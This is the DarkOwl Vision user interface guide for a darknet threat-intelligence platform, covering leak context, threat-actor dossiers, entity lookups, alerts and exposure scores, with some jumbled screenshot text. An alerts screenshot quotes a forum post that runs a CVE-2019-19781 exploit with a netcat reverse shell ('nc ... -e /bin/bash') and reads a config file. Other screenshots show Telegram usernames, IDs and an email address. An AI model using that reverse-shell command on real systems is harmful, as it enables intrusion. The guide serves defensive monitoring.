- For **Chat Users**, you will see a menu that allows you to quickly search for the User ID or Username. Searching for the User ID can help you find alternate usernames.
- For **Emails, Cards, Cryptocurrency, and IP Addresses**, you will see a menu that allows you to quickly look up that item in Entity Explore.

Username	User ID			
DRTELEGRAMMM	6204389858			
emalaelama	Search for User ID	Q		
Free_LTC_Legit	Search for Username	Q		
ghadamghadam888	See User ID in document			
khatorokoshki	See Username in docume	nt		
KIIALEIEKUSIIKI				
Koshaiiio	2076202260			
Koshaiiio	2076202260	•••		
Koshaiiio ind an Entry	2076202260	•••		C
Koshaiiio	2076202260	•••		C
Koshaiiio ind an Entry RolexyzenItd@gmail.	2076202260	••••		
Koshaiiio ind an Entry RolexyzenItd@gmail.	2076202260 com	•••	Search in Entity Explore	( 

#### Leak Context

If a search result is from a data leak, an additional **Leak Context** View Switch will appear below the Metadata View Switch. Leak Context is information from the DarkOwl analyst team that gives additional enrichment regarding the leak, and may include relevant dates, content information, and target information.

An option to **Download Context** the leak content (.txt) to include in reports or briefings, is available in active client accounts.

Data Leak: Deezer 229M Crawled on 2023-09-19 03	Customers 30:56 PM	
Leak Context		Download Context
Name	Deezer 229M Customers	
Date Available	2023-02-03	
Date Breached	2019-04	
Content Categories	PII	
Content Specifics	Usernames, Email address, Names	
Targets	Name: Deezer Countries: FR - France	



Name	Name of the leak.
Description	A short description about the nature of the leak.
Date Available	Date the data was made available on the darkweb or internet.
Date Breached	Date of the leak incident or ransomware attack.
Content Categories	High-level categories or types of content contained in this data leak. Content Category examples include: combolist, credentials, documents, messages, PII, stealerlogs, etc.
Content Specifics	More granular information about the compromised data in this leak. Content Specifics examples include: dates of birth, email addresses, financial documents, internal documents, ip addresses, legal documents, plaintext passwords, phone numbers, physical addresses, profile information, usernames, etc.
Targets	The target organization or company where the data originated, if known. This is generally the name of the organization(s) attacked. If known, this field will optionally return Target Name, Target Domain, Target Description, and/or Target Country.
Countries	Country associated with the leak; for leaks related to a country without an organization Target.
Attack Types	The type of attack that resulted in the data leak.
Hosts	Site name(s) on which the original data was hosted. Values in this field are searchable with the leak: operator.
Actors	Username(s) of the original poster or actor responsible or otherwise involved in leaking the data. Values in this field are searchable with the leak: operator.
Associations	Any entity (site, organization, country, year, etc) that is associated with the data leak. Values in this field are searchable with the leak: operator.

Note: not all fields may be available or known for all leaks. Additional fields may be added in the future.

# **Explore: Actors**

The **Actor Explore** page provides analyst-curated information about Threat Actors. Our actor database focuses on state-sponsored actors, actors focusing on cybercrime, ransomware groups, access brokers, exploit brokers and buyers, or critical infrastructure attackers. The actor information will continue to grow as we add more content and hear from our customers. If you know of a new threat actor that should be included – please let us know!

To get started, navigate to the Explore section, and select Actors from the top menu. This will bring you to a landing page of Actor baseball cards.

- Use the < > icons to page through the list.
- Use the left filter options to sort the list.
- Click on the Star in the upper right corner to "favorite" an actor. Once selected, these actors will appear on the left, below the filter options.
- Click on a baseball card, or search for an actor (by name or alias) using the lookup bar at the top, to go to the actor's detail page.



Once you select an actor, you will go to that actor's detail page, opened to the Dossier.

APT Active	7 28 Group	<b>Dossier ALIASES</b> Select one or more of these aliases to research.
FIRST SEEN Dec 31, 2003	LAST SEEN Aug 17, 2023	Sednit STRONTIUM Pawn Storm Sofacy Fancy Bear TG-4127
		Threat Group-4127 APT28 Tsar Team SNAKEMACKEREL Swallowtail
SOPHISTICATION	ORIGIN	Group 74 APT 28 GRU Unit 26165 Zebrocy Blue Athena Fighting Ursa
	100	SectorC01 UAC-0028 85th Main Special Service Center GTsSS
		IRON TWILIGHT ITG05 FROZENLAKE Forest Blizzard BlueDelta
Strategic	RU - Russia	Search All Search Selected
SPECIALIZ Espion	ZATION age	STIX THREAT ACTOR TYPE Spy, Nation-State
		<b>KEY POINTS</b> "APT28" is a Russian state-sponsored threat group active since at least 2007. The threat group steals internal data from high-profile organizations of interest for the Russian government and sometimes leaks the data online with fabricated personas.

An actor entry may include the following tabs: **Dossier, Darknet Fingerprint, Targets, Tools,** or **CVEs**. Click on the name of the tab to navigate to that section; continue reading for more detail about the information contained within each tab.

Aliases	All Aliases by which the Actor is known. Click on an Alias to search within Vision for matches.
Origin	The country in which the Actor operates, if known.
First Seen	The date the Actor was first known to be active.
Last Seen	The date the Actor was last known to be active.
Sophistication	The level of sophistication at which the Actor operates, using STIX Threat Actor Sophistication Vocabulary: <i>none, minimal, intermediate,</i> <i>advanced, expert, innovator, strategic</i> .

Information included within the **Dossier** page may include any of the following:



Specialization	A categorization of the type of activity or area in which the Actor is known to participate. These values may include: Cyber Crime, Data Exfiltration, Espionage, Exploit Developer, Exploit Seller, Financial Crime, Hacker, Hacktivist, ICS Attacks, Initial Access Broker, Intellectual Theft, Phishing, Ransomware, Social Engineering.
Size	Identification of whether the Actor is an individual entity, a group, or unknown size.
Key Points	A brief narrative description. This section may also include may any known <b>Law Enforcement Activity,</b> if applicable.
Stix Threat Actor Type	A categorization of the type of Actor, using STIX Threat Actor Type vocabulary: activist, competitor, crime-syndicate, criminal, hacker, insider-accidental, insider-disgruntled, nation-state, sensationalist, spy, terrorist.
Contact Details	<ul> <li>Email addresses that have been associated with the Actor.</li> <li>Tox IDs that have been associated with the Actor. Tox is a peer-to-peer instant messaging platform.</li> <li>Jabber addresses that have been associated with the Actor. Jabber uses the XMPP protocol.</li> <li>Telegram accounts that have been associated with the Actor.</li> <li>Discord accounts that have been associated with the Actor.</li> </ul>
Cryptocurrency	<b>Bitcoin, Ethereum,</b> or <b>Monero</b> wallets that have been associated with the Actor.

Information included within the **Darknet Footprint** tab may include any of the following:

Chat Channels	Telegram or Discord channels the Actor is known to operate or admininster. Click on the <b>Search</b> button to begin researching within a channel.
Darknet Domains	Darknet or other websites the Actor is known to operate or administer. Click on the <b>Search</b> button to begin researching within a darknet site.
Data Leaks	Data leaks or breaches within the DarkOwl Vision dataset the Actor is known to have leaked. Click on the <b>Search</b> button to begin researching within a data leak.
Forum Presence	Forums on which the Actor has been observed.
Market Presence	Markets on which the Actor has been observed.

# DARK

#### TLP:WHITE

Information included within the Targets, Tools, and CVEs pages includes:

Targets	Industries and Organizations (or type of organizations) the Actor is known to have previously attacked. Clicking on a target will show other Actors in our database that have targeted the same industry or organization.
Tools	A list of known software Tools the Actor has used to carry out attacks. Clicking on a tool will show other Actors in our database that have used the same tool.
CVEs	A list of known CVEs (Common Vulnerabilities and Exposures) the Actor has used to carry out attacks. Clicking on a CVE will show other Actors in our database that have exploited the same CVE. You can also:
	• Search in Vision to begin researching a CVE within the DarkOwl Vision dataset.
	• See in Mitre to open a new browser tab and read more about the CVE from Mitre's cve.org website.





# **Explore: Entity**

The Entity Explore page allows you to look up six Entity types (Email Domain, Email Address, Credit Card, Bank Identification Number, IP Address, or Cryptocurrency) and view information about that entity in our overall dataset.

To get started, use the drop-down to select a type of Entity, and then type the specific value in the look up bar. You can decide to click the search icon at this point, or you can use the Filter menu to apply additional parameters before you submit the query.

Email Domain		organization.com	
--------------	--	------------------	--

All entity types have Filter options to select a date range; some types have additional options.

Entity Type	Filter Option
Bank Identification Number and Credit Card	Card Details: Filter to cards that were found with a CVV, with an Exp Date, or Both CVV and Exp Date
Email Address and Email Domain	Password Options: Filter to emails that were found with Plaintext or Hashed passwords

Dates Password Details	Dates Password Details
Date	All Passwords Plaintext Hashed
Last 7 Days	
Last 30 Days	
Last 90 Days	
Last 180 Days	
Last 365 Days	

Once you do a look up, you will see the first page of results, and can click the left arrow to see more. The screen will display several sections:

- Timeline, Number of Entities, and Action Buttons
- Summary Information for the result set
- Itemized entity result list

#### Timeline

The **Timeline** will plot mentions of that entity found in our dataset over time. BIN, Credit Card, Email Address, and Email Domain display Stacked Bars, to indicate whether the entity was a 'mention only' (blue) or a 'mention + details' or 'mention + password' (yellow).

- For BINs and Credit Cards, the yellow part of the bar indicates the card was found with either a CVV or expiration date.
- For Email Addresses and Email Domains, the yellow part of the bar indicates the email address was found with a password (either plaintext or hashed).

If there are more than 1 page of results, you can use the left Arrow action button to see previous results. If the left Arrow does not appear, there are no more results.



You can click on any of the bars on the Timeline to filter to that result set. You'll note when you do, the bottom of the page updates its information for just that result set shown. Click the Clear Filter button to reset to the original result set at any time.

#### Action Buttons

The Action Buttons appear next to the number of entities, and include:

- Left Arrow: See the previous time period of results
- Right Arrow: See the next time period of results
- Download: Download a list of results as CSV (available in active client accounts)
- Clear Filters: Resets any filters selected



Action Buttons will only appear when the action is available (i.e. if no filters have been selected, the Clear Filters button will not appear).

#### Summary Information

This section will show boxes with various result set facets. Most items in these boxes act as can be selected as filters, to narrow your result set list below. Note: if there are more than 10 items, you can scroll to see the full list. All entity types will show the following summaries:

- **Summary for Period** [Date to Date]: Shows the date range for the result set shown, with the number of total results. For BIN and Email Domains, also displays the number of unique results.
- Sources: The breakdown of results found within each network and/or data leak content.

Some types have additional summaries, as indicated below.

- **Card Details:** (BIN and Credit Cards) Shows the breakdown of unexpired cards, cards with cvv and/or exp date, and cards without details.
- **Data Leaks:** (Email Address and Email Domain) Shows the breakdown of emails found by individual data leak.
- **Password Details:** (Email Address and Email Domain) Shows the breakdown of emails found with plaintext password, with hashed password, and without password.
- **Password List:** (Email Address) Shows a list of all plaintext passwords in the result set.

#### Entity Result List

This is a list of itemized results, based on any filters you have applied. You can click on the `See Full Result` icon to go to the Research section to see the whole page from our indexed document collection.

# **Trackers: Your Alerts**

Access your **Trackers: Alerts** page from the Trackers right navigation icon, or Alerts widget on the Dashboard. Alerts are results found by your automated saved searches. Your Alerts dashboard (1) will display the number of active Critical, High, Medium, and Low results. If you have created categories, you can toggle the view to display by Criticality or Category (2). You can also get to your Alerts directly from the Trackers right navigation icon (3).

		Dashboard			
DARKINT Exposure		Alerts 1	241 Total	>	Home
4.77 Organization 5.05 Organization			Criticality Category 2		\$
					Research
		High O			
		Medium 0			-\$-
October 2021	November 2021	Low		241	3 Trackers

#### Alerts Page and Viewing Alerts

The Trackers: Alerts page will display your result list. Each entry will include an excerpt from the result (around the first keyword match, if applicable), the location where the result was found, the Saved Search name, the Alert date, hackishness, and relevance of the result. Use the Filter By menu on the left to view Alerts **by Category**, **by Criticality**, or **by Search Name**.

			4	lerts Exposure		
		1 Resu				
			Excerpt			
			218.255.31.174 'nc наш	http://xsstorweb56srs3a.onion/threads/37428/post-227544 Crawled on 2020-05-25 02:59:20 PM	da la	
All Critical 3			ере(предварительно стартовав у себя nc -p ): bash CVE-2019-19781.sh	теперьпосмотрим чо у нас там внутри. Возьмем CVE-2019-19781 ( https://github.com/projectzeroindia/CVE-2019-19781)	Body	
			218.255.31.174 'nc <b>наш_</b>	И запустим через него реверс неткат на селерование и слование и себя основноставляет на селерование и селеров	Metadata	
			ере(предварительно стартовав у себя	bash CVE-2019-19781.sh 218.255.31.174 'nc наш_ип	Categories	
	+1		nc -p ): bash CVE-2019-19781.sh	наш_порт -e /bin/bash Почитаем конфиг:	MENTIONS	$\bigcirc$
			218.255.31.174 'nc наш	cat flash/nsconfig/ns.conf И получим:	Hackishness	Ŷ

#### **Deleting Alerts**

Once alerts are reviewed and no longer needed, you can delete them from your result set. Select a set of results by checking the box(es), and then use the Action drop-down list. The drop-down list also gives a bulk option to **Delete All** alerts.



Note: You may experience a browser delay when deleting multiple alerts, or alerts large in size.

# **Trackers: Your DARKINT Exposure Scores**

**DARKINT Exposure** tracks your organization's DARKINT score over time, based on the quantity, quality, and freshness of exposed data. Scores are generated with privacy-compliant data points, requiring only a website and email domain to calculate. Increasing scores may correlate to heightened risk profiles. Tracking scores over time, changes can indicate progress in hardening security, or alert to the presence of breaches or data leaks.

Access your **Trackers: DARKINT Exposure** page from the Trackers right navigation icon, or from the Dashboard widget. On the Trackers: DARKINT Exposure page, hovering over the different points on the visualization will display the score inputs below the visualization.

- 1. Select the **Show All** button to compare the current organization with others that are set up.
- 2. Click the **Report** icon to generate a PDF an Exposure Score Report for the latest score.
- 3. Click the **Download** icon to download a CSV of all the scores and associated inputs that were generated *Email Domain* for this organization.
- 4. Click the Domain and buttons to see the inputs used in the formula.
- 5. Click the seach buttons below Domains or Email Domains to see the underlying results that generated the score.

Name 💙	Score 🗸			2 3	
Organization 1	4.770				
Organization 2	5.051			Details	
		5		Domains 4	G
				Email Domains +2 Domains	
		4		Darknet Resul	$( \mathbf{\Phi} )$
		October 2021	November 2021	Transitory Res	i≣¢ Jati II
		Organization 1	1 Show All	Data Leak Results	

#### The DARKINT Score Formula

The algorithm focuses on specific DARKINT sources for unique matches on an organization's website and email domains, and adjust the results based on hackishness. Hackishness is the most critical input to the score, as it eliminates uninteresting content hits. We find it critical to differentiate between overall hits and hackish hits; simply because a piece of information is found on the darknet does not necessarily make it problematic to an organization.

Recent results within the last 90 days are given the most weight, as recent breaches or data leaks containing an organization's proprietary information are often more useful to hackers, and potentially haven't yet been mitigated. Note: Scores are logarithmic, meaning every point reflects almost triple the profile of a single point less.

#### DARKINT SCORE = $H_{90}(In RDS + In RTS) + H_{ATR}(In ATR)$

- H90 = Hackishness of last 90 days results •
- HATR = Hackishness of all time Data Leak results •
- RDS = # results from Darknet Sites
- RTS = # results from Transitory Sites
- ATR = # results from all time Data Leak results

#### Setting Up a Score

Create a score by clicking on the + icon.

- 1. Type the Name that will be displayed in your score list.
- 2. Add one or more domains and subdomains, if any.
- 3. Add one or more email domains and subdomains. Only the domain portion is required; the @ symbol is not necessary.
- 4. If desired, check the box to receive email notifications when your score increases.
- 5. Click Submit.

Name 💙

Organization 1

Organization 2

At initial setup, scores will be generated for the previous month, and will continue to generate weekly.

Change

4.770

5.051

▼ -0.026

▲ 0.257

Trend

Select All

DarkOwl Vision User Interface Guide   13 November 2023   VERS	SION V3

Add Score	
Organization Name	
Domains	Email Domains
organization.com	orgemail.com
Email me when this score	e increases
	Cancel Submit



Last Run

2021-11-12

2021-11-12



### **Collections: Your Saved Searches**

Access your **Saved Searches** page from the Collections right navigation icon. Click on a Name to open the Search Detail. Here, you can:

- 1. Change the name or categories associated with the search
- 2. Enable/disable automated searching
- 3. Adjust the run frequency or desired criticality of Alerts from the search
- 4. Run the search, or make edits to the search (see next section: Editing a Saved Search)
- 5. View Alerts from the search (if any)

Name 🛩	
Bitcoin Regex	Search 4
CCNs on Telegram	Name CCNs on Telegram Aterts
Cisco Emails	Last Run         2020-02-14 11:35:03
CVE Exploit Mentions	Click to Remove Category Next Run CARDING 2020-02-14 17:23:24
IRC Channel Mentions	Automate search
	6 Hours 12 Hours 24 Hours 3 Week
	Criticality.
	Low Medium High Critical

#### Editing a Saved Search

From the Searches page in your Collections, choose the search you'd like to adjust, then click **Edit Search**. This will bring you to the Research page, with your current search pre-populated in the search bar. From here, you can make changes to your search, updating filters, adding keywords, etc. Once you have made adjustments, run the search.

The **Saved Search icon** (star icon) will appear, this time with a Replace option for the search you're updating. Click **Replace** to confirm.



# **Collections: Your Search Blocks**

You can manage your library of Search Blocks on the Search Blocks page. Pre-built blocks include curated keyword lists, as well as blocks that help you exclude terms; any of these pre-built blocks can be modified to make a new customized Search Block with terms you select.

وعافطين جاذب	Searches Search Blocks	
	Counterfeit Keywords	× ₫
Create a New Block	Credit Card Keywords	~ 0
Make your own lists of frequently used terms or exclusions to use in your searches.	Crypto Tumbling Keywords	~ 0 \$
	Drug Keywords	~ 0

#### Creating a Search Block

- 1. Click Create a New Block.
- 2. Open the Select a Block Type drop-down, and choose one of:
  - Free Text accepts the same inputs and formatting (Booleans, operators, etc) as accepted on the search bar. Credit Cards can be lists of individual credit card numbers or BINs. When entering BINs, use a trailing wildcard after the first six numerical digits.
  - **Cryptocurrencies** can be lists of cryptocurrency wallet addresses. Supported types include Bitcoin, Ethereum, Monero, Litecoin, Dash, ZCash.
  - **CVEs** can be lists of full CVE-ID numbers, CVE-ID numbers, or CVE years.
  - **Emails** can be lists of email addresses, email domains (without the @ portion), or email subdomains.
  - **IPs** can be lists of IP addresses. We support the following types: IPv4, IPv6/IPv6 compressed, CIDR ranges for both IPv4 and IPv6.
  - Social Security Numbers should be input using hyphens (i.e. 123-45-6789).
  - Source Domains allow you to filter or exclude content that was collected from selected domains. Note: Use the Free Text Block Type to search for domain mentions on documents.
- 3. Next, input your desired Block Content.





4. Finally, give the Block a Nickname and click **Submit**.

Once created, your block will now be accessible through the **Search Tools > Search Blocks**. Click on the block to add it to your query on the search bar.

<ul> <li>Add keywords</li> </ul>			Classified Keyword List 🗙 🗙 🚍 🖸
earch Builder		Find an Entry	
		Classified Keyword List	
Find Entity			
.exicon			
Recent	,		
Saved	•		
Tomplator			

#### Managing Search Blocks

- Viewing the Content of a Search Block: On the Search Blocks page, use the arrow to show/hide your search block content.
- **Copying and Modifying a Pre-built Search Block**: On the Search Blocks page, click the Copy icon next to the desired block. Make your revisions directly in the Block Content field, update the Block Nickname, and click Submit. This block will now appear as a new block.
- Editing a Search Block: On the Search Blocks page, click the Edit icon next to the desired block. Make your revisions and click Submit. If this block is used in automated searches, the next time the search runs, it will use the new block content you've specified.
- **Deleting a Search Block**: On the Search Blocks page, click the Delete icon next to the desired block. If this block is not used in any current searches, click Delete to confirm. If this block is used in saved searches, you will be prompted to go to the Saved Searches page to edit these searches to remove the block(s). Otherwise, click Delete Block and Searches to confirm.